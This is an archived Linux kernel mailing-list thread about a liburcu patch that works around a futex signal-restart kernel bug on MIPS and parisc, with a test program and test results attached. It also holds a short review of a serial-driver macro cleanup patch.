Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26207>

------=_Part_259005_501537116.1450356852692
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit

----- On Dec 16, 2015, at 5:09 PM, Mathieu Desnoyers mathieu.desnoyers@efficios.com wrote:

> When testing liburcu on a 3.18 Linux kernel, 2-core MIPS (cpu model :
> Ingenic JZRISC V4.15  FPU V0.0), we notice that a blocked sys_futex
> FUTEX_WAIT returns -1, errno=ENOSYS when interrupted by a SA_RESTART
> signal handler. This spurious ENOSYS behavior causes hangs in liburcu
> 0.9.x. Running a MIPS 3.18 kernel under a QEMU emulator exhibits the
> same behavior. This might affect earlier kernels.
> 
> This issue appears to be fixed in 3.18.y stable kernels and 3.19, but
> nevertheless, we should try to handle this kernel bug more gracefully
> than a user-space hang due to unexpected spurious ENOSYS return value.

It's actually fixed in 3.19, but not in 3.18.y stable kernels. The
Linux kernel upstream fix commit is:
e967ef02 "MIPS: Fix restart of indirect syscalls"

I've created a small test program that could also be used on parisc
to check if it suffers from the same issue (see attached).

On bogus mips kernels, we see the following output:
[OK] Test program with pid: 5748 SIGUSR1 handler
[FAIL] futex returns -1, Function not implemented

Let me know if someone can try it out on a parisc kernel.

Thanks!

Mathieu

> 
> Therefore, fallback on the "async-safe" version of compat_futex in those
> situations where FUTEX_WAIT returns ENOSYS. This async-safe fallback has
> the nice property of being OK to use concurrently with other FUTEX_WAKE
> and FUTEX_WAIT futex() calls, because it's simply a busy-wait scheme.
> 
> We suspect that parisc might be affected by a similar issue (Debian
> build bots reported a similar hang on both mips and parisc), but we do
> not have access to the hardware required to test this hypothesis.
> 
> Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
> CC: Michael Jeanson <mjeanson@efficios.com>
> CC: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> CC: Ralf Baechle <ralf@linux-mips.org>
> CC: linux-mips@linux-mips.org
> CC: linux-kernel@vger.kernel.org
> CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
> CC: Helge Deller <deller@gmx.de>
> CC: linux-parisc@vger.kernel.org
> ---
> compat_futex.c |  2 ++
> urcu/futex.h   | 12 +++++++++++-
> 2 files changed, 13 insertions(+), 1 deletion(-)
> 
> diff --git a/compat_futex.c b/compat_futex.c
> index b7f78f0..9e918fe 100644
> --- a/compat_futex.c
> +++ b/compat_futex.c
> @@ -111,6 +111,8 @@ end:
>  * _ASYNC SIGNAL-SAFE_.
>  * For now, timeout, uaddr2 and val3 are unused.
>  * Waiter will busy-loop trying to read the condition.
> + * It is OK to use compat_futex_async() on a futex address on which
> + * futex() WAKE operations are also performed.
>  */
> 
> int compat_futex_async(int32_t *uaddr, int op, int32_t val,
> diff --git a/urcu/futex.h b/urcu/futex.h
> index 4d16cfa..a17eda8 100644
> --- a/urcu/futex.h
> +++ b/urcu/futex.h
> @@ -73,7 +73,17 @@ static inline int futex_noasync(int32_t *uaddr, int op,
> int32_t val,
> 
> 	ret = futex(uaddr, op, val, timeout, uaddr2, val3);
> 	if (caa_unlikely(ret < 0 && errno == ENOSYS)) {
> -		return compat_futex_noasync(uaddr, op, val, timeout,
> +		/*
> +		 * The fallback on ENOSYS is the async-safe version of
> +		 * the compat futex implementation, because the
> +		 * async-safe compat implementation allows being used
> +		 * concurrently with calls to futex(). Indeed, sys_futex
> +		 * FUTEX_WAIT, on some architectures (e.g. mips), within
> +		 * a given process, spuriously return ENOSYS due to
> +		 * signal restart bugs on some kernel versions (e.g.
> +		 * Linux kernel 3.18 and possibly earlier).
> +		 */
> +		return compat_futex_async(uaddr, op, val, timeout,
> 				uaddr2, val3);
> 	}
> 	return ret;
> --
> 2.1.4

-- 
Mathieu Desnoyers
EfficiOS Inc.
http://www.efficios.com

------=_Part_259005_501537116.1450356852692
Content-Type: text/x-c++src; name=test-sigrestart-futex.c
Content-Disposition: attachment; filename=test-sigrestart-futex.c
Content-Transfer-Encoding: base64

I2RlZmluZSBfR05VX1NPVVJDRQojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHN5cy90eXBl
cy5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzaWduYWwuaD4KI2luY2x1ZGUgPHN0
ZGxpYi5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPHN5cy9zeXNjYWxsLmg+CgpzdGF0
aWMgaW50IHZhbHVlID0gLTE7CgojZGVmaW5lIEZVVEVYX1dBSVQJCTAKI2RlZmluZSBGVVRFWF9X
QUtFCQkxCgpzdGF0aWMgaW50IGZ1dGV4KGludDMyX3QgKnVhZGRyLCBpbnQgb3AsIGludDMyX3Qg
dmFsLAoJCWNvbnN0IHN0cnVjdCB0aW1lc3BlYyAqdGltZW91dCwgaW50MzJfdCAqdWFkZHIyLCBp
bnQzMl90IHZhbDMpCnsKCXJldHVybiBzeXNjYWxsKF9fTlJfZnV0ZXgsIHVhZGRyLCBvcCwgdmFs
LCB0aW1lb3V0LAoJCQl1YWRkcjIsIHZhbDMpOwp9CgpzdGF0aWMgdm9pZCBzaWdoYW5kbGVyKGlu
dCBzaWdubywgc2lnaW5mb190ICpzaWdpbmZvLCB2b2lkICpjb250ZXh0KQp7CglmcHJpbnRmKHN0
ZGVyciwgIltPS10gVGVzdCBwcm9ncmFtIHdpdGggcGlkOiAlZCBTSUdVU1IxIGhhbmRsZXJcbiIs
CgkJZ2V0cGlkKCkpOwp9CgppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqKmFyZ3YpCnsKCXN0cnVj
dCBzaWdhY3Rpb24gYWN0OwoJcGlkX3QgcGlkLCB3YWl0X3BpZDsKCWludCByZXQ7CgoJZnByaW50
ZihzdGRlcnIsICJUZXN0aW5nIGZ1dGV4IHNpZ3Jlc3RhcnQuIFN0b3Agd2l0aCBDVFJMLWMuXG4i
LAoJCWdldHBpZCgpKTsKCWFjdC5zYV9zaWdhY3Rpb24gPSBzaWdoYW5kbGVyOwoJYWN0LnNhX2Zs
YWdzID0gU0FfU0lHSU5GTyB8IFNBX1JFU1RBUlQ7CgkvL2FjdC5zYV9mbGFncyA9IFNBX1NJR0lO
Rk87CglzaWdlbXB0eXNldCgmYWN0LnNhX21hc2spOwoJcmV0ID0gc2lnYWN0aW9uKFNJR1VTUjEs
ICZhY3QsIE5VTEwpOwoJaWYgKHJldCkKCQlhYm9ydCgpOwoKCXBpZCA9IGZvcmsoKTsKCWlmIChw
aWQgPiAwKSB7CgkJLyogcGFyZW50ICovCgkJZm9yICg7OykgewoJCQlyZXQgPSBraWxsKHBpZCwg
U0lHVVNSMSk7CgkJCWlmIChyZXQpIHsKCQkJCXBlcnJvcigia2lsbCIpOwoJCQkJYWJvcnQoKTsK
CQkJfQoJCQlzbGVlcCgxKTsKCQl9Cgl9IGVsc2UgewoJCWlmIChwaWQgPCAwKSB7CgkJCWFib3J0
KCk7CgkJfQoJCS8qIGNoaWxkICovCgkJZm9yICg7OykgewoJCQlyZXQgPSBmdXRleCgmdmFsdWUs
IEZVVEVYX1dBSVQsIC0xLCBOVUxMLCBOVUxMLCAwKTsKCQkJaWYgKHJldCA8IDApIHsKCQkJCWZw
cmludGYoc3RkZXJyLCAiW0ZBSUxdIGZ1dGV4IHJldHVybnMgJWQsICVzXG4iLAoJCQkJCXJldCwg
c3RyZXJyb3IoZXJybm8pKTsKCQkJfSBlbHNlIHsKCQkJCWZwcmludGYoc3RkZXJyLCAiW0ZBSUxd
IGZ1dGV4IHJldHVybnMgJWQgKHVuZXhwZWN0ZWQpXG4iLAoJCQkJCXJldCk7CgkJCX0KCQl9Cgl9
CgoJcmV0dXJuIDA7Cn0K
------=_Part_259005_501537116.1450356852692--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ed Swierk <eswierk@skyportsystems.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.kernel
Subject: Re: [RFC PATCH urcu on mips, parisc] Fix: compat_futex should
 work-around futex signal-restart kernel bug
Date: Thu, 17 Dec 2015 05:16:57 -0800
Lines: 113
Approved: news@gmane.org
Message-ID: <CAO_EM_n+_0=94CAjhE6XTCMVmjnqLOaDhTz-xaqZb77UL4o+hw@mail.gmail.com>
References: <1450303792-27470-1-git-send-email-mathieu.desnoyers@efficios.com> <663068619.259007.1450356852694.JavaMail.zimbra@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1450358284 10803 80.91.229.3 (17 Dec 2015 13:18:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2015 13:18:04 +0000 (UTC)
Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Jon Bernard <jbernard@debian.org>,
	Michael Jeanson <mjeanson@efficios.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-mips <linux-mips@linux-mips.org>,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 14:17:55 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9YRI-0004PT-MW
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 Dec 2015 14:17:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964888AbbLQNRk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2015 08:17:40 -0500
Original-Received: from mail-vk0-f53.google.com ([209.85.213.53]:33121 "EHLO
	mail-vk0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755473AbbLQNRh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2015 08:17:37 -0500
Original-Received: by mail-vk0-f53.google.com with SMTP id a188so46577709vkc.0
        for <linux-parisc@vger.kernel.org>; Thu, 17 Dec 2015 05:17:37 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=skyportsystems.com; s=google;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=0CCCnvdik2Nhl5ldyQErFwut3TJ1e++hRwec5nBW02c=;
        b=BugW1XVkzLftDXiSOARSjFWU8HakfG3h5LHOgxau2LPqpn5YEQckSah9zNDjA9FLIj
         EWDm2sv3JMwxElClOg0t20jMIS440IRNL+K/ZlEQqEBzkNCOFXued1RfIeshLnfSlBrT
         Ib/S+lKWiSHZHcxl0mY+BjOblbeG6MSwMk3Jk=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type;
        bh=0CCCnvdik2Nhl5ldyQErFwut3TJ1e++hRwec5nBW02c=;
        b=ak21VtcsQkfa+actmVCrhcY/AneTTyTPAVXQQL3uiD7bfIRLocrHddgV17yGlFnTHz
         tmPrzPj7oxDL104968dvCTCPLuDcHiBh8w7YCfea+qzqwDIBN/aoXfPhllCLp/V9zzk1
         YSsRfjt6ZQSWf08O984lqCCIxLD2DVufcqwFAHblxfrs+vM6ua9yL+a4IKNy/suvJejl
         teiujIIPo8WqsDvQq2lexwvrIfa+DLxDoAQ27t3cy5S38FoqeiqKgwcDIP8vCD7xVYgQ
         4UHbvoa1kCEy9ILveDknM6hY+jGY0+g3Jxb66wfVywVR2wbyNrCGXwe0OxG6fDXk7Ek3
         MZmA==
X-Gm-Message-State: ALoCoQm2/DbuywjKQ90L34T0VbfvYVwGT1S+6SyczxlBr5GiztUklV0yoVgIDdHjCeRJU4RQn7eYQcwwpaN7BkJ5P5l5VXyTaISHe5PHAZRKhV96pf6WrN0=
X-Received: by 10.31.129.11 with SMTP id c11mr35797184vkd.52.1450358256875;
 Thu, 17 Dec 2015 05:17:36 -0800 (PST)
Original-Received: by 10.31.237.7 with HTTP; Thu, 17 Dec 2015 05:16:57 -0800 (PST)
In-Reply-To: <663068619.259007.1450356852694.JavaMail.zimbra@efficios.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26208 gmane.linux.ports.mips.general:51830 gmane.linux.kernel:2110730
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26208>

I believe e967ef02 "MIPS: Fix restart of indirect syscalls" should be
backported to all stable kernels.

It would be a surprising coincidence if parisc suffers from the same problem.

--Ed


On Thu, Dec 17, 2015 at 4:54 AM, Mathieu Desnoyers
<mathieu.desnoyers@efficios.com> wrote:
> ----- On Dec 16, 2015, at 5:09 PM, Mathieu Desnoyers mathieu.desnoyers@efficios.com wrote:
>
>> When testing liburcu on a 3.18 Linux kernel, 2-core MIPS (cpu model :
>> Ingenic JZRISC V4.15  FPU V0.0), we notice that a blocked sys_futex
>> FUTEX_WAIT returns -1, errno=ENOSYS when interrupted by a SA_RESTART
>> signal handler. This spurious ENOSYS behavior causes hangs in liburcu
>> 0.9.x. Running a MIPS 3.18 kernel under a QEMU emulator exhibits the
>> same behavior. This might affect earlier kernels.
>>
>> This issue appears to be fixed in 3.18.y stable kernels and 3.19, but
>> nevertheless, we should try to handle this kernel bug more gracefully
>> than a user-space hang due to unexpected spurious ENOSYS return value.
>
> It's actually fixed in 3.19, but not in 3.18.y stable kernels. The
> Linux kernel upstream fix commit is:
> e967ef02 "MIPS: Fix restart of indirect syscalls"
>
> I've created a small test program that could also be used on parisc
> to check if it suffers from the same issue (see attached).
>
> On bogus mips kernels, we see the following output:
> [OK] Test program with pid: 5748 SIGUSR1 handler
> [FAIL] futex returns -1, Function not implemented
>
> Let me know if someone can try it out on a parisc kernel.
>
> Thanks!
>
> Mathieu
>
>>
>> Therefore, fallback on the "async-safe" version of compat_futex in those
>> situations where FUTEX_WAIT returns ENOSYS. This async-safe fallback has
>> the nice property of being OK to use concurrently with other FUTEX_WAKE
>> and FUTEX_WAIT futex() calls, because it's simply a busy-wait scheme.
>>
>> We suspect that parisc might be affected by a similar issue (Debian
>> build bots reported a similar hang on both mips and parisc), but we do
>> not have access to the hardware required to test this hypothesis.
>>
>> Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
>> CC: Michael Jeanson <mjeanson@efficios.com>
>> CC: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
>> CC: Ralf Baechle <ralf@linux-mips.org>
>> CC: linux-mips@linux-mips.org
>> CC: linux-kernel@vger.kernel.org
>> CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
>> CC: Helge Deller <deller@gmx.de>
>> CC: linux-parisc@vger.kernel.org
>> ---
>> compat_futex.c |  2 ++
>> urcu/futex.h   | 12 +++++++++++-
>> 2 files changed, 13 insertions(+), 1 deletion(-)
>>
>> diff --git a/compat_futex.c b/compat_futex.c
>> index b7f78f0..9e918fe 100644
>> --- a/compat_futex.c
>> +++ b/compat_futex.c
>> @@ -111,6 +111,8 @@ end:
>>  * _ASYNC SIGNAL-SAFE_.
>>  * For now, timeout, uaddr2 and val3 are unused.
>>  * Waiter will busy-loop trying to read the condition.
>> + * It is OK to use compat_futex_async() on a futex address on which
>> + * futex() WAKE operations are also performed.
>>  */
>>
>> int compat_futex_async(int32_t *uaddr, int op, int32_t val,
>> diff --git a/urcu/futex.h b/urcu/futex.h
>> index 4d16cfa..a17eda8 100644
>> --- a/urcu/futex.h
>> +++ b/urcu/futex.h
>> @@ -73,7 +73,17 @@ static inline int futex_noasync(int32_t *uaddr, int op,
>> int32_t val,
>>
>>       ret = futex(uaddr, op, val, timeout, uaddr2, val3);
>>       if (caa_unlikely(ret < 0 && errno == ENOSYS)) {
>> -             return compat_futex_noasync(uaddr, op, val, timeout,
>> +             /*
>> +              * The fallback on ENOSYS is the async-safe version of
>> +              * the compat futex implementation, because the
>> +              * async-safe compat implementation allows being used
>> +              * concurrently with calls to futex(). Indeed, sys_futex
>> +              * FUTEX_WAIT, on some architectures (e.g. mips), within
>> +              * a given process, spuriously return ENOSYS due to
>> +              * signal restart bugs on some kernel versions (e.g.
>> +              * Linux kernel 3.18 and possibly earlier).
>> +              */
>> +             return compat_futex_async(uaddr, op, val, timeout,
>>                               uaddr2, val3);
>>       }
>>       return ret;
>> --
>> 2.1.4
>
> --
> Mathieu Desnoyers
> EfficiOS Inc.
> http://www.efficios.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: Re: [PATCH 08/11] tty: serial: 8250: Add parentheses to macro
Date: Thu, 17 Dec 2015 17:16:41 +0200
Organization: Intel Finland Oy
Lines: 41
Approved: news@gmane.org
Message-ID: <1450365401.30729.142.camel@linux.intel.com>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
	 <1450280177-4460-9-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450365558 7094 80.91.229.3 (17 Dec 2015 15:19:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2015 15:19:18 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>
To: Anton Wuerfel <anton.wuerfel@fau.de>, linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Dec 17 16:19:12 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9aKl-0001rb-Aa
	for glk-linux-kernel-3@plane.gmane.org; Thu, 17 Dec 2015 16:19:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967025AbbLQPTG convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 17 Dec 2015 10:19:06 -0500
Original-Received: from mga02.intel.com ([134.134.136.20]:30249 "EHLO mga02.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932318AbbLQPTD (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 17 Dec 2015 10:19:03 -0500
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga101.jf.intel.com with ESMTP; 17 Dec 2015 07:18:37 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,441,1444719600"; 
   d="scan'208";a="873562381"
Original-Received: from smile.fi.intel.com (HELO smile) ([10.237.72.86])
  by orsmga002.jf.intel.com with ESMTP; 17 Dec 2015 07:18:30 -0800
In-Reply-To: <1450280177-4460-9-git-send-email-anton.wuerfel@fau.de>
X-Mailer: Evolution 3.18.2-1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2110826 gmane.linux.serial:21126 gmane.linux.ports.parisc:26209
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2110826>

On Wed, 2015-12-16 at 16:36 +0100, Anton Wuerfel wrote:
> This patch fixes a checkpatch warning caused by missing parentheses
> in the definition of a macro.
>=20
> Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
> Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
> CC: linux-kernel@i4.cs.fau.de
> ---
> =C2=A0drivers/tty/serial/8250/8250_core.c | 2 +-
> =C2=A01 file changed, 1 insertion(+), 1 deletion(-)
>=20
> diff --git a/drivers/tty/serial/8250/8250_core.c
> b/drivers/tty/serial/8250/8250_core.c
> index 67147b2..3c29530 100644
> --- a/drivers/tty/serial/8250/8250_core.c
> +++ b/drivers/tty/serial/8250/8250_core.c
> @@ -686,7 +686,7 @@ static int __init univ8250_console_init(void)
> =C2=A0}
> =C2=A0console_initcall(univ8250_console_init);
> =C2=A0
> -#define SERIAL8250_CONSOLE	&univ8250_console
> +#define SERIAL8250_CONSOLE	(&univ8250_console)

What about the rest of the drivers under drivers/tty/serial?

What do you propose to do with, for example, the following

drivers/tty/serial/cpm_uart/cpm_uart_core.c:1392:#define
CPM_UART_CONSOLE=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0&cpm_scc_uart=
_console
drivers/tty/serial/cpm_uart/cpm_uart_core.c:1394:#define
CPM_UART_CONSOLE=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0NULL

> =C2=A0#else
> =C2=A0#define SERIAL8250_CONSOLE	NULL
> =C2=A0#endif

--=20
Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Intel Finland Oy


From - Thu Nov 08 21:38:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.kernel
Subject: Aw: Re: [RFC PATCH urcu on mips, parisc] Fix: compat_futex should
 work-around futex signal-restart kernel bug
Date: Thu, 17 Dec 2015 17:22:50 +0100
Lines: 111
Approved: news@gmane.org
Message-ID: <trinity-0a355ae2-e5eb-40e5-8561-41a2e8e251e2-1450369370294@3capp-gmx-bs60>
References: <1450303792-27470-1-git-send-email-mathieu.desnoyers@efficios.com>,
 <663068619.259007.1450356852694.JavaMail.zimbra@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1450369397 9816 80.91.229.3 (17 Dec 2015 16:23:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2015 16:23:17 +0000 (UTC)
Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	"Jon Bernard" <jbernard@debian.org>,
	"Michael Jeanson" <mjeanson@efficios.com>,
	"Ralf Baechle" <ralf@linux-mips.org>,
	linux-mips <linux-mips@linux-mips.org>,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Ed Swierk" <eswierk@skyportsystems.com>,
	"Greg Kroah-Hartman" <gregkh@linuxfoundation.org>
To: "Mathieu Desnoyers" <mathieu.desnoyers@efficios.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 17:23:08 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9bKd-0001L8-SG
	for glpp-linux-parisc@plane.gmane.org; Thu, 17 Dec 2015 17:23:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755960AbbLQQXH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2015 11:23:07 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:49507 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753327AbbLQQXF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2015 11:23:05 -0500
Original-Received: from [155.56.68.219] by 3capp-gmx-bs60.server.lan (via HTTP); Thu,
 17 Dec 2015 17:22:50 +0100
Importance: normal
Sensitivity: Normal
In-Reply-To: <663068619.259007.1450356852694.JavaMail.zimbra@efficios.com>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:S4GvqvUzGKUVaj6GoSrZC1ke0+mBTKijM7/5wWiXv2E
 SSUVRF3K6wQFaxdbNLHZnFZ1m29kpubSD5hcsz2rcervAwcuxT
 AxciIwsC2Erc4DV2wFPyKuHk4WBx0o3pSJ2CnY7v5Wi9DKK6Au
 fn0jw1FPxKj9PmY093DtJ375rDfHpNDCWzjgEjncMFKIv0hUOY
 EiksuPJk5Oh4TBFVcUaxAwFE2QlFh1djaPw0lAusB+LS2+j0JD
 QXBiM4yctg1YegOATi3fvXwh3I9Fx7zzkqQet6zWEigm+AznNX kA/fm8=
X-UI-Out-Filterresults: notjunk:1;V01:K0:PZnGyK9QlsI=:oaiCQQ1lTj/aYqDsdWah+D
 aEEq5RmQGnN39tYeUQdFD/YeXbiAJCx3DXgKFxjnR3Ebw0pXZ36IniYNZgWRPQQJJ7Cg/gbPL
 hsHk6fGW8euv9k+OfJ/JI4X/Haf4TN3MNsHQPbpfAAIl+EWZTjWz1lGn7W3VOSqpk7FMG/zWh
 p4d2+b0ePhOIn/FwoMnFySqf158ZvDcL9JgtXL4IXhEp4iMmGs8Frz+bnhC7XUSSzINmVUoCR
 s4XqymQl4/T5J3Yc704Po73pGtnz06FbyKQpAv9qGcXuu3mIzK26Fe4vlRAIhGHSvnefhJ3cr
 mek+WpAw7tn9brt4iB1VgN62+ZKEtrDZ0j60XUrKDaObC6wqcVYLnmjIIkWuol6Q67I+Ok1gE
 ZT0b1A4hmpgh0gS7zqeTsPSjTgzbC5Fnc7ayFMdSDYJwNtTnH8I4Lq3qhlgto/WQcBEoA0OtT
 81cneGnt4A==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26210 gmane.linux.ports.mips.general:51831 gmane.linux.kernel:2110869
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26210>

Hello Mathieu,

> > When testing liburcu on a 3.18 Linux kernel, 2-core MIPS (cpu model :
> > Ingenic JZRISC V4.15  FPU V0.0), we notice that a blocked sys_futex
> > FUTEX_WAIT returns -1, errno=ENOSYS when interrupted by a SA_RESTART
> > signal handler. This spurious ENOSYS behavior causes hangs in liburcu
> > 0.9.x. Running a MIPS 3.18 kernel under a QEMU emulator exhibits the
> > same behavior. This might affect earlier kernels.
> > 
> > This issue appears to be fixed in 3.18.y stable kernels and 3.19, but
> > nevertheless, we should try to handle this kernel bug more gracefully
> > than a user-space hang due to unexpected spurious ENOSYS return value.
> 
> It's actually fixed in 3.19, but not in 3.18.y stable kernels. The
> Linux kernel upstream fix commit is:
> e967ef02 "MIPS: Fix restart of indirect syscalls"

But that patch fixes mips only.
 
> I've created a small test program that could also be used on parisc
> to check if it suffers from the same issue (see attached).
> 
> On bogus mips kernels, we see the following output:
> [OK] Test program with pid: 5748 SIGUSR1 handler
> [FAIL] futex returns -1, Function not implemented

I tested it on a recent 4.2 kernel on parisc.
It fails as you describe:

Testing futex sigrestart. Stop with CTRL-c.
[OK] Test program with pid: 1361 SIGUSR1 handler
[OK] Test program with pid: 1361 SIGUSR1 handler
[FAIL] futex returns -1, Function not implemented
[OK] Test program with pid: 1361 SIGUSR1 handler
[FAIL] futex returns -1, Function not implemented

strace gives:
[pid  1329] futex(0x1210c, FUTEX_WAIT, -1, NULL <unfinished ...>
[pid  1328] nanosleep({1, 0},  <unfinished ...>
